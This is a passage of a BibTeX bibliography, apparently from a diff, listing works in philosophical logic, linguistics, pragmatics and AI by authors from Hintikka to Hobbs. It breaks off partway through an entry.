hintikka:1998d, + author = {Jaakko Hintikka}, + title = {Language, Truth and Logic in Mathematics}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + address = {Dordrecht}, + xref = {Review: pietarinen:1999a, mares:2001a.}, + ISBN = {0-7923-4766-8}, + topic = {philosophical-logic;philosophy-of-mathematics;} + } + +@book{ hintikka:1998e, + author = {Jaakko Hintikka}, + title = {Paradigms for Language Theory and Other Essays}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + address = {Dordrecht}, + xref = {Review: pietarinen:1999b.}, + ISBN = {0792347803 (hardbound)}, + topic = {game-theoretical-semantics;} + } + +@book{ hintikka:1998f, + author = {Jaakko Hintikka}, + title = {Language, Truth, and Logic in Mathematics}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + address = {Dordrecht}, + ISBN = {0792347668 (hardcover)}, + topic = {philosophy-of-mathematics;} + } + +@inproceedings{ hintikka-halonen:1998a, + author = {Jaakko Hintikka and Ilpo Halonen}, + title = {Interpolation as Explanation}, + booktitle = {{PSA}98: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Part 1: Contributed + Papers}, + year = {1998}, + editor = {Don A. Howard}, + pages = {414--423}, + organization = {Philosophy of Science Association}, + publisher = {University of Chicago Press}, + address = {Chicago, Illinois}, + topic = {explanation;interpolation-theorems;} + } + +@article{ hintikka:1999a, + author = {Jaakko Hintikka}, + title = {The Emperor's New Intuitions}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {3}, + pages = {127--147}, + topic = {Chomsky;philosophical-methodology;intuitions;} + } + +@article{ hintikka:2002a, + author = {Jaakko Hintikka}, + title = {Quantum Logic as a Fragment of Independence-Friendly + Logic}, + journal = {Journal of Philosophical Logic}, + year = {2002}, + volume = {31}, + number = {3}, + pages = {197--209}, + topic = {independence-friendly-logic;quantum-logic;} + } + +@article{ hinton_ge:1989a, + author = {Geoffrey E. Hinton}, + title = {Connectionist Learning Procedures}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {40}, + number = {1--3}, + pages = {195--234}, + topic = {machine-learning;connectionism;connectionist-learning;} + } + +@article{ hinton_ge:1990a, + author = {Geoffrey E. Hinton}, + title = {Preface to the Special Issue on Connectionist Symbol + Processing}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {46}, + number = {1--2}, + pages = {1--4}, + topic = {connectionist-plus-symbolic-architectures;} + } + +@article{ hinton_ge:1990b, + author = {Geoffrey E. Hinton}, + title = {Mapping Part-Whole Hierarchies into Connectionist Networks}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {46}, + number = {1--2}, + pages = {47--75}, + topic = {connectionist-plus-symbolic-architectures;} + } + +@book{ hinton_pr:1993a, + author = {Perry R. Hinton}, + title = {The Psychology of Interpersonal Perception}, + publisher = {Routledge}, + year = {1993}, + address = {London}, + ISBN = {0-415-08451-2 (cloth)}, + topic = {social-psychology;interpersonal-reasoning;} + } + +@incollection{ hinzen:1999a, + author = {Wolfram Hinzen}, + title = {Contextual Dependence and the Epistemic + Foundations of Dynamic Semantics}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {186--199}, + address = {Berlin}, + topic = {context;dynamic-logic;foundations-of-semantics; + philosophy-of-language;} + } + +@incollection{ hirasawa-etal:2000a, + author = {Jun-Ichi Hirasawa and Kohji Dohsaka and Kiyoaki Aikawa}, + title = {{WIT}: A Toolkit for Building Robust and Real-Time Spoken + Dialogue Systems}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {150--159}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;spoken-dialogue-systems;nlp-technology;} + } + +@article{ hirsch-etal:2000a, + author = {Robin Hirsch and Ian Hodkinson and ROger D. Maddux}, + title = {Provability with Finitely Many Variables}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {3}, + pages = {348--379}, + topic = {restricted-logics;} + } + +@inproceedings{ hirsch_h-kudenko:1997a, + author = {Haym Hirsch and Daniel Kudenko}, + title = {Representing Sequences in Description Logic}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference, + Vol. 1}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {384--389}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {taxonomic-logics;extensions-of-kl1;krcourse;} + } + +@article{ hirsch_r:1996a, + author = {Robin Hirsch}, + title = {Relation Algebras of Intervals}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {83}, + number = {2}, + pages = {267--295}, + acontentnote = {Abstract: + Given a representation of a relation algebra we construct + relation algebras of pairs and of intervals. If the + representation happens to be complete, homogeneous and fully + universal then the pair and interval algebras can be constructed + direct from the relation algebra. If, further, the original + relation algebra is omega-categorical we show that the + interval algebra is too. The complexity of relation algebras is + studied and it is shown that every pair algebra with infinite + representations is intractable. Applications include + constructing an interval algebra that combines metric and + interval expressivity.}, + topic = {complexity-in-AI;interval-algebras;} + } + +@article{ hirsch_r:2000a, + author = {Robin Hirsch}, + title = {Tractable Approximations for Temporal Constraint + Handling}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {116}, + number = {1--2}, + pages = {287--295}, + topic = {temporal-reasoning;constraint-propagation; + approximately-correct-algorithms;tractable-logics;} + } + +@book{ hirschberg:1991a, + author = {Julia Hirschberg}, + title = {A Theory of Scalar Implicature}, + publisher = {Garland Publishing Company}, + year = {1991}, + address = {New York}, + xref = {Ph.{D}. Dissertation, University of Pennsylvania, 1985.}, + topic = {implicature;pragmatics;} + } + +@article{ hirschberg:1993a, + author = {Julia Hirschberg}, + title = {Pitch Accent in Context: Predicting Intonational + Prominence from Text}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {63}, + number = {1--2}, + pages = {305--340}, + topic = {intonation;discourse-structure;pragmatics;} + } + +@article{ hirschberg-ward_g:1995a, + author = {Julia Hirschberg and Gregory Ward}, + title = {The Interpretation of the High-Rise Question Contour + in Spoken {E}nglish}, + journal = {The Journal of Pragmatics}, + year = {1995}, + missinginfo = {number, volume, pages}, + topic = {intonation;interrogatives;English-language;} + } + +@inproceedings{ hirschberg-nakatai:1996a, + author = {Julia Hirschberg and Christine H. Nakatani}, + title = {A Prosodic Analysis of Discourse Segments in + Direction-Giving Monologues}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {286--293}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {intonation;discourse-structure;pragmatics;} + } + +@book{ hirschberg-etal:1997a, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + title = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Marilyn Walker and Diane J. Litman and Candace A. Kamm + and Alicia Abella, "Evaluating Interactive Dialogue + Systems: Extending Component Evaluation to Integrated + System Evaluation", pp. 1--8 + 2. Gavin E. Churcher and Eric S. Atwell and Clive + Souter, "A Generic Template to Evaluate Integrated + Components in Spoken Dialogue Systems", pp. 9--16 + 3. Laila Dybkj{\ae}r and Niels Ole Bernsen and Hans + Dybkj{\ae}r, "Generality and Objectivity: Central + Issues in Putting a Dialogue Evaluation Tool into + Practical Use", pp. 17--24 + 4. Ian M. O'Neill and Michael F. McTear, "An Object-Oriented + Model for the Design of Cross-Domain Dialogue + Systems", pp. 25--28 + 5. Fr\'ed\'eric B\'echet and Thierry Spriet and Marc + El-B\`eze, "Automatic Lexicon Enhancement by Means + of Corpus Tagging", pp. 29--32 + 6. Elizabeth Maier and Norbert Reithinger and Jan + Alexandersson, "Clarification Dialogues as Measure + to Increase Robustness in a Spoken Dialogue + System", pp. 33--36 + 7. Ronnie W, Smith, "Performance Measures for the Next + Generation of Spoken Natural Language Dialog + Systems", pp. 37--40 + 10. P. Spyns, and F. Deprez and L. van Tichelen and B. + van Coile, "A Practical Message-to-Speecj Strategy + for Dialogue Systems", pp. 41--47 + 11. Kees van Deemter, "Context Modeling for Language and + Speech Generation", pp. 48--52 + 12. Eli Hagen and Brigitte Grote, "Planning Efficient Mixed + Initiative Dialogue", pp. 53--56 + 13. Toshihiko Itoh and Akihiro Demda and Satorn Kogure and + Seiichi Nakagawa, "A Robust Dialogue System with + Spontaneous Speech Understanding and Cooperative + Response", pp. 57--60 + 14. Paul Martin, "The `Casual Cashmere Diaper Bag': Constraining + Speech Recognition using Examples", pp. 61--65 + 15. Mark-Jan Nederhof and Gosse Bouma and Rob Koeling and + Gertjan van Noord, "Grammatical Analysis in the {OVIS} + Spoken Dialogue System", pp. 66--73 + 16. David Roussel and Ariane Halber, "Filtering Errors and + Repairing Linguistic Anomalies for Spoken Dialogue + Systems", pp. 74--81 + 17. Emiel Krahmer and Jan Landsbergen and Xavier Pouteau, "How to + Obey the 7 Commandments for Spoken Dialogue", pp. 82--89 + 18. Rajeev Agarwal, "Towards a {PURE} System for Information + Access", pp. 90--97 + 19. Matthias Denecke, "A Programmable Multi-Blackboard Architecture + for Dialogue Processing Systems", pp. 98--105 + 20. M.M.M. Rats and R.J. van Vark and J.P.M. de Vreught, "Corpus-Based + Information Presentation for a Spoken Public Transport + System", pp. 106--113 + 21. Morena Danieli and Elissbetta Gerbino and Loretta M. + Moisa, "Dialogue Strategies for Improving the Usability + of Telephone Human-Machine Communication", pp. 114--120 + 22. Alan Biermann and Michael S. ZFulkerson and Greg A. + Keim, "Speech-Graphics Dialogue Systems", pp. 121--126 + } , + topic = {computational-dialogue;nlp-evaluation;} + } + +@book{ hirsh:1990a, + author = {Haym Hirsh}, + title = {Incremental Version Space Merging: A General Framework + for Concept Learning}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + address = {Dordrecht}, + topic = {machine-learning;version-spacesb;} + } + +@article{ hirst:1981a, + author = {Graeme Hirst}, + title = {Discourse-Oriented Anaphora Resolution in Natural Language + Understanding: A Review}, + journal = {American Journal of Computational Linguistics}, + year = {1981}, + volume = {7}, + number = {1}, + pages = {85--98}, + topic = {anaphora;computational-dialogue;} + } + +@article{ hirst:1988a, + author = {Graeme Hirst}, + title = {Semantic Interpretation and Ambiguity}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {34}, + number = {2}, + pages = {131--177}, + topic = {nl-interpretation;ambiguity;} + } + +@incollection{ hirst:1989a, + author = {Graeme Hirst}, + title = {Ontological Assumptions in Knowledge Representation}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {157--169}, + address = {San Mateo, California}, + topic = {kr;kr-course;computational-ontology;} + } + +@book{ hirst_g:1987a, + author = {Graeme Hirst}, + title = {Semantic Interpretation and the Resolution of Ambiguity}, + publisher = {Cambridge University Press}, + year = {1987}, + address = {Cambridge, England}, + topic = {nl-interpretation;ambiguity;} + } + +@article{ hirst_g:1991a, + author = {Graeme Hirst}, + title = {Existence Assumptions in Knowledge Representation}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {1--3}, + pages = {199--242}, + topic = {kr;(non)existence;} + } + +@incollection{ hirst_g-ryan:1992a, + author = {Graeme Hirst and Mark Ryan}, + title = {Mixed-Depth Representations for Natural Language Text}, + booktitle = {Text-Based Intelligent Systems}, + publisher = {Lawrence Erlbaum Associates}, + year = {1992}, + editor = {Paul Jacobs}, + pages = {59--82}, + address = {Mahwah, New Jersey}, + topic = {kr;nl-kr;kr-course;} + } + +@unpublished{ hirst_g:1993a, + author = {Graeme Hirst}, + title = {Natural Language as its Own Representation}, + year = {1993}, + note = {In preparation.}, + topic = {kr;nl-kr;nl-as-kr;kr-course;} + } + +@article{ hirst_g:1999a, + author = {Graeme Hirst}, + title = {Review of {\it Euro{W}ord{N}et: A Multilingual + Database with Lexical Semantic Networks}, edited by + {P}iek {V}ossen}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {4}, + pages = {628--630}, + xref = {Review of vossen:1998a.}, + topic = {wordnet;} + } + +@article{ hirst_g:2001a, + author = {Graeme Hirst}, + title = {Review of {\it Longman Grammar of Spoken and Written + {E}nglish}, by {D}ouglas {B}iber and {S}tig {J}ohansson + and {S}usan {C}onrad and {E}dward {F}innegan}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {1}, + pages = {132--139}, + xref = {Review of biber-etal:1999a.}, + topic = {descriptive-grammar;Engliah-language;} + } + +@article{ hitchcock:1998a, + author = {Christopher Hitchcock}, + title = {The Common Cause Principle in Historical Linguistics}, + journal = {Philosophy of Science}, + year = {1998}, + volume = {65}, + pages = {425--447}, + topic = {philosophy-of-science;philosophy-of-linguistics; + historical-linguistics;} + } + +@article{ hitchcock:2001a, + author = {Christopher Hitchcock}, + title = {The Intransitivity of Causation Revealed by Equations + and Graphs}, + journal = {The Journal of Philosophy}, + year = {2001}, + volume = {98}, + number = {6}, + pages = {273--299}, + topic = {causality;} + } + +@article{ hitchcock:2001b, + author = {Christopher Hitchcock}, + title = {Review of {\it Causality: Models, Reasoning, and + Inference}, by {J}udea {P}earl}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {4}, + pages = {639--641}, + topic = {Bayesian-networks;causality;action;conditionals;} + } + +@article{ hitchcock:2001c, + author = {Christopher Hitchcock}, + title = {Review of {\it Causality: Models, Reasoning, and + Inference}, by {J}udea {P}earl}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {4}, + pages = {639--641}, + topic = {Bayesian-networks;causality;action;conditionals;} + } + +@inproceedings{ hitzeman:1991a, + author = {Janet Hitzeman}, + title = {Aspect and Adverbials}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {I}}, + year = {1991}, + editor = {Steven Moore and {Adam Zachary} Wyner}, + pages = {107--126}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {tense-aspect;adverbs;events;Aktionsarten;event-semantics;} + } + +@inproceedings{ hitzeman-etal:1995a, + author = {Janet Hitzeman and Mare Moens and Claire Grover}, + title = {Algorithms for Analysing the Temporal Structure of + Discourse}, + booktitle = {Proceedings of the 7th European Meeting of the + Association for Computational Linguistics}, + pages = {253--260}, + address = {Dublin, Ireland}, + year = {1995}, + topic = {discourse;nl-tense;tense-aspect;narrative-understanding;} +} + +@article{ hitzeman:1997a, + author = {Janet Hitzeman}, + title = {Semantic Partition and the Ambiguity of Sentences Containing + Temporal Adverbials}, + journal = {Natural Language Semantics}, + year = {1997}, + volume = {5}, + number = {2}, + pages = {87--100}, + topic = {ambiguity;nl-semantics;temporal-adverbials;} + } + +@book{ hiz:1978a, + editor = {Henry Hi\.z}, + title = {Questions}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + address = {Dordrecht}, + ISBN = {9027708134}, + topic = {interrogatives;} + } + +@incollection{ hoard:1998a, + author = {James E. Hoard}, + title = {Language Understanding and the Emerging + Alignment of Linguistics and Natural Language + Processing}, + booktitle = {Using Computers in Linguistics: A Practical Guide}, + publisher = {Routledge}, + year = {1998}, + editor = {John Lawler and Aristar Dry}, + pages = {197--230}, + address = {London}, + topic = {nlp-and-linguistics;} + } + +@book{ hoare:1985a, + author = {C.A.R. Hoare}, + title = {Communicating Sequential Processes}, + publisher = {Prentice-Hall}, + year = {1985}, + address = {Englewood Cliffs, New Jersey}, + missinginfo = {A's 1st name.}, + topic = {distributed-systems;parallel-processing;} + } + +@article{ hobbs-rosenschein_sj:1977a, + author = {Jerry R. Hobbs and Stanley J. Rosenschein}, + title = {Making Computational Sense of {M}ontague's Intensional + Logic}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {9}, + number = {3}, + pages = {287--306}, + topic = {intensional-logic;Montague-grammar;nl-processing;} + } + +@article{ hobbs:1978a1, + author = {Jerry R. Hobbs}, + title = {Resolving Pronoun References}, + journal = {Lingua}, + year = {1978}, + volume = {44}, + pages = {311--338}, + missinginfo = {number}, + xref = {Republished in grosz-etal:1986a. See hobbs:1978a2.}, + topic = {anaphora;nl-interpretation;} + } + +@incollection{ hobbs:1978a2, + author = {Jerry R. Hobbs}, + title = {Resolving Pronoun References}, + booktitle = {Readings in Natural Language Processing}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Barbara J. Grosz and Karen Sparck-Jones and Bonnie L. Webber}, + pages = {339--352}, + address = {Los Altos, California}, + xref = {Republication of hobbs:1978a1.}, + topic = {anaphora;nl-interpretation;} + } + +@techreport{ hobbs:1978b, + author = {Jerry R. Hobbs}, + title = {Why is Discourse Coherent?}, + institution = {SRI International}, + number = {Technical Note 176}, + year = {1978}, + address = {Menlo Park, California}, + topic = {discourse-coherence;pragmatics;} + } + +@article{ hobbs:1979a, + author = {Jerry R. Hobbs}, + title = {Coherence and Coreference}, + journal = {Cognitive Science}, + year = {1979}, + volume = {3}, + number = {1}, + pages = {67--90}, + topic = {anaphora;discourse-coherence;pragmatics;} + } + +@inproceedings{ hobbs:1980a, + author = {Jerry R. Hobbs}, + title = {Selective Inferencing}, + booktitle = {Proceedings, Third National Conference of the Canadian + Society for Computational Studies of Intelligence}, + year = {1980}, + pages = {101--114}, + organization = {Canadian Society for Computational Studies of + Intelligence}, + missinginfo = {publisher}, + topic = {abduction;} + } + +@inproceedings{ hobbs:1982a, + author = {Jerry R. Hobbs}, + title = {Representing Ambiguity}, + booktitle = {Proceedings, First {W}est {C}oast {C}onference on {F}ormal + {L}inguistics}, + year = {1982}, + pages = {15--28}, + missinginfo = {publisher, address}, + topic = {ambiguity;} + } + +@techreport{ hobbs:1982b, + author = {Jerry R. Hobbs}, + title = {Implicature and Definite Reference}, + institution = {Center for the Study of Language and Information, + Stanford University}, + number = {CSLI-88-99}, + year = {1982}, + address = {Stanford, California}, + topic = {implicature;pragmatics;reference;definiteness;} + } + +@article{ hobbs:1983a, + author = {Jerry R. Hobbs}, + title = {Metaphor Interpretation as Selective Inferencing: + Cognitive Processes in Understanding Metaphor}, + journal = {Empirical Studies in the Arts}, + year = {1983}, + note = {Vol. 1, No. 1, pp. 17--34 and Vol. 1, No. 2, pp. 125--142.}, + topic = {metaphor;pragmatics;} + } + +@inproceedings{ hobbs:1983b, + author = {Jerry R. Hobbs}, + title = {An Improper Treatment of Quantification in Ordinary {E}nglish}, + booktitle = {Proceedings of the Twenty-First Annual Meeting of the + Association for Computational Linguistics}, + year = {1983}, + pages = {57--63}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + missinginfo = {address, editor}, + topic = {nl-quantifiers;} + } + +@unpublished{ hobbs:1984a, + author = {Jerry R. Hobbs}, + title = {The Logical Notation: Ontological Promiscuity}, + year = {1984}, + note = {Unpublished manuscript, SRI International.}, + missinginfo = {Date is a guess.}, + topic = {nl-semantic-representation-formalisms;computational-ontology; + pragmatics;} + } + +@inproceedings{ hobbs:1985a1, + author = {Jerry R. Hobbs}, + title = {Granularity}, + booktitle = {Proceedings of the Ninth International Joint + Conference on Artificial Intelligence}, + year = {1985}, + editor = {Arivind Joshi}, + pages = {1--4}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + xref = {Republished in weld-dekleer:1990a. See hobbs:1985a2.}, + topic = {granularity;context;} + } + +@incollection{ hobbs:1985a2, + author = {Jerry R. Hobbs}, + title = {Granularity}, + booktitle = {Qualitative Reasoning about Physical Systems}, + publisher = {Morgan Kaufmann}, + year = {1990}, + editor = {Daniel S. Weld and Johan de Kleer}, + pages = {542--545}, + address = {San Mateo, California}, + xref = {Revision of paper in IJCAI95 -- see hobbs:1985a2.}, + topic = {granularity;context;} + } + +@techreport{ hobbs:1985b, + author = {Jerry R. Hobbs}, + title = {On the Coherence and Structure of Discourse}, + institution = {Center for the Study of Language and Information, + Stanford University}, + number = {CSLI--85--37}, + year = {1985}, + address = {Stanford, California}, + topic = {discourse-coherence;discourse-structure;pragmatics;} + } + +@inproceedings{ hobbs:1985c, + author = {Jerry R. Hobbs}, + title = {Ontological Promiscuity}, + booktitle = {Proceedings of the Twenty-Third Meeting of the + Association for Computational Linguistics}, + year = {1985}, + editor = {William Mann}, + pages = {61--69}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Morristown, New Jersey}, + topic = {nl-semantic-representation-formalisms;computational-ontology;} + } + +@article{ hobbs:1986a, + author = {Jerry R. Hobbs}, + title = {Overview of the {TACITUS} Project}, + journal = {Computational Linguistics}, + year = {1986}, + volume = {12}, + number = {3}, + missinginfo = {pages}, + topic = {nl-interpretation;} + } + +@inproceedings{ hobbs:1987a, + author = {Jerry Hobbs}, + title = {World Knowledge and Word Meaning}, + booktitle = {Proceedings, {TINLAP}-3}, + year = {1987}, + address = {Las Cruces, NM}, + contentnote = {Argues that word meaning is inseparable from world + knowledge.}, + missinginfo = {editor,pages,organization,publisher}, + topic = {lexical-semantics;nl-kr;kr-course;} + } + +@article{ hobbs:1987b, + author = {Jerry R. Hobbs}, + title = {A Reply to {D}rew {M}c{D}ermott}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {149--150}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@article{ hobbs-etal:1987a, + author = {Jerry R. Hobbs and William Croft and Todd Davies and + Douglas Edwards and Kenneth Laws}, + title = {Commonsense Metaphysics and Lexical Semantics}, + journal = {Computational Linguistics}, + year = {1987}, + volume = {13}, + number = {3--4}, + pages = {241--250}, + topic = {lexical-semantics;} + } + +@inproceedings{ hobbs-martin:1987a, + author = {Jerry R. Hobbs and Paul Martin}, + title = {Local Pragmatics}, + booktitle = {Proceedings of the Tenth International Joint + Conference on Artificial Intelligence}, + year = {1987}, + editor = {John McDermott}, + pages = {520--523}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {pragmatics;nl-interpretation;} + } + +@article{ hobbs:1988a, + author = {Jerry Hobbs}, + title = {Scaling the {M}atterhorn}, + journal = {The Philadelphia Inquirer}, + year = {1988}, + note = {Sunday, May 15}, + topic = {journalism;} + } + +@book{ hobbs-moore:1988a, + editor = {Jerry R. Hobbs and Robert C. Moore}, + title = {Formal Theories of the Commonsense World}, + publisher = {Ablex Publishing Corporation}, + year = {1988}, + address = {Norwood, New Jersey}, + topic = {kr;common-sense-knowledge;kr-course;} + } + +@unpublished{ hobbs:1990a, + author = {Jerry R. Hobbs}, + title = {The Logical Notation: Ontological Promiscuity}, + year = {1990}, + note = {Unpublished manuscript, SRI International.}, + missinginfo = {Date is a guess.}, + topic = {discourse;} + } + +@book{ hobbs:1990b, + author = {Jerry R. Hobbs}, + title = {Literature and Cognition}, + publisher = {Center for the Study of Language and Information}, + year = {1990}, + address = {Stanford, California}, + ISBN = {0937073539}, + topic = {discourse;discourse-analysis;} + } + +@inproceedings{ hobbs-bear:1990a, + author = {Jerry R. Hobbs and John Bear}, + title = {Two Principles of Parse Preference}, + booktitle = {Thirteenth International Conference on Computational + Linguistics, Volume 3}, + year = {1990}, + editor = {H. Karlgren}, + pages = {162--167}, + missinginfo = {organization, publisher, address}, + topic = {parsing-algorithms;nl-interpretation;} + } + +@techreport{ hobbs-etal:1990a, + author = {Jerry Hobbs and Mark Stickel and Douglas Appelt + and Paul Martin}, + title = {Interpretation as Abduction}, + institution = {AI Center, SRI International}, + address = {333 Ravenswood Ave., Menlo Park, CA 94025}, + number = {SRI Technical Note 499}, + year = {1990}, + month = {December}, + xref = {Published in Artificial Intelligence 1993, see + hobbs-etal:1993a; contains some material not in the journal + version, e.g. a section on generation.}, + topic = {nl-interpretation;abduction;pragmatic-reasoning;} + } + +@inproceedings{ hobbs-kameyama:1990a, + author = {Jerry R. Hobbs and Megumi Kameyama}, + title = {Translation by Abduction}, + booktitle = {Proceedings, Thirteenth International Conference on + Computational Linguistics}, + year = {1990}, + editor = {H. Karlgren}, + pages = {155--161}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {abduction;machine-translation;} + } + +@techreport{ hobbs-etal:1991a, + author = {Jerry R. Hobbs Douglas E. Appelt and John Bear and Mabry + Tyson and David Magerman}, + title = {The {TACITUS} System: The {MUC}-3 Experience}, + institution = {SRI International}, + number = {511}, + year = {1991}, + address = {Menlo Park, California}, + topic = {nl-processing;} + } + +@incollection{ hobbs:1992a, + author = {Jerry R. Hobbs}, + title = {Metaphor and Abduction}, + booktitle = {Communication From an Artificial Intelligence + Perspective: Theoretical and Applied Issues}, + publisher = {Springer-Verlag}, + year = {1992}, + editor = {Andrew Ortony and John Slack and Oliviero Stock}, + pages = {35--58}, + address = {Berlin}, + topic = {nl-interpretation;metaphor;abduction;pragmatics;} + } + +@article{ hobbs-etal:1993a, + author = {Jerry Hobbs and Mark Stickel and Douglas Appelt + and Paul Martin}, + title = {Interpretation as Abduction}, + journal = {Artificial Intelligence}, + year = {1993}, + number = {1--2}, + volume = {63}, + pages = {69--142}, + xref = {Tech report: hobbs-etal:1990a}, + topic = {nl-interpretation;abduction;computational-pragmatics;} + } + +@software{ hobbs:1994a, + author = {Jerry R. Hobbs}, + title = {Tacitus Lite}, + institution = {SRI International}, + address = {Menlo Park, California}, + language = {Common LISP}, + year = {1994}, + topic = {abduction;nl-interpretation;} + } + +@unpublished{ hobbs:1994b, + author = {Jerry R. Hobbs}, + title = {Intention, Information, and Structure in Discourse: + A First Draft}, + year = {1994}, + note = {Unpublished manuscript, SRI International.}, + topic = {discourse-structure;pragmatics;} + } + +@unpublished{ hobbs:1994c, + author = {Jerry R. Hobbs}, + title = {Intention, Information, and Structure in Discourse}, + year = {1994}, + note = {Unpublished transparencies, SRI International.}, + topic = {discourse-structure;pragmatics;} + } + +@incollection{ hobbs-bear:1994a, + author = {Jerry R. Hobbs and John Bear}, + title = {Two Principles of Parse Preference}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {503--512}, + address = {Pisa and Dordrecht}, + topic = {parsing-algorithms;} + } + +@unpublished{ hobbs-etal:1994a, + author = {Jerry Hobbs and Douglas Appelt and John Bear and + David J. Israel and Mabry Tyson}, + title = {{FASTUS}: Extracting Information from + Natural-Language Text}, + year = {1994}, + note = {Available at http://www.ai.sri.com/\user{}appelt/fastus-tutorial.}, + missinginfo = {Year is a guess.}, + topic = {nl-interpretation;abduction;finite-state-nlp;} + } + +@unpublished{ hobbs:1995a, + author = {Jerry R. Hobbs}, + title = {An Approach to the Structure of Discourse}, + year = {1995}, + note = {Unpublished manuscript, SRI International.}, + topic = {discourse-structure;pragmatics;} + } + +@incollection{ hobbs:1996a, + author = {Jerry R. Hobbs}, + title = {On the Relation Between the Informational and Intentional + Perspectives on Discourse}, + booktitle = {Burning Issues in Discourse: An Interdisciplinary Account}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Eduard Hovy and Donia Scott}, + address = {Berlin}, + missinginfo = {pages}, + topic = {discourse;pragmatics;} + } + +@unpublished{ hobbs:1996b, + author = {Jerry R. Hobbs}, + title = {The Syntax of {E}nglish in an Abductive Framework}, + year = {1996}, + note = {Unpublished manuscript, SRI International.}, + topic = {abduction;parsing-algorithms;nl-interpretation;} + } + +@incollection{ hobbs:1996c, + author = {Jerry Hobbs}, + title = {Monotone Decreasing Quantifiers in a Scope-Free + Logical Form}, + booktitle = {Semantic Ambiguity and Underspecification}, + publisher = {Cambridge University Press}, + year = {1996}, + editor = {Kees {van Deemter} and Stanley Peters}, + address = {Cambridge, England}, + missinginfo = {pages}, + topic = {quantifiers;nl-quantifier-scope;semantic-underspecification;} + } + +@unpublished{ hobbs:1996d, + author = {Jerry R. Hobbs}, + title = {Communicative Goals}, + year = {1996}, + note = {Transparencies for talk, SRI International.}, + topic = {discourse;nl-generation;pragmatics;} + } + +@unpublished{ hobbs-redeker:1996a, + author = {Jerry R. Hobbs and Gisela Redeker}, + title = {A Note on Coherence Relations}, + year = {1996}, + note = {Unpublished manuscript, SRI International.}, + topic = {discourse-relations;pragmatics;} + } + +@unpublished{ hobbs-shastri:1996a, + author = {Jerry R. Hobbs and Lokendra Shastri}, + title = {A Connectionist Realization of Abductive Interpretation}, + year = {1996}, + note = {Unpublished manuscript, SRI International and ICSI.}, + topic = {abduction;connectionist-models;} + } + +@inproceedings{ hobbs-kehler:1997a, + author = {Jerry R. Hobbs and Andrew Kehler}, + title = {A Theory of Parallelism and the Case of {VP} Ellipsis}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {394--401}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {VP-ellipsis;coordination;discourse;pragmatics;} + } + +@book{ hoc-etal:1995a, + 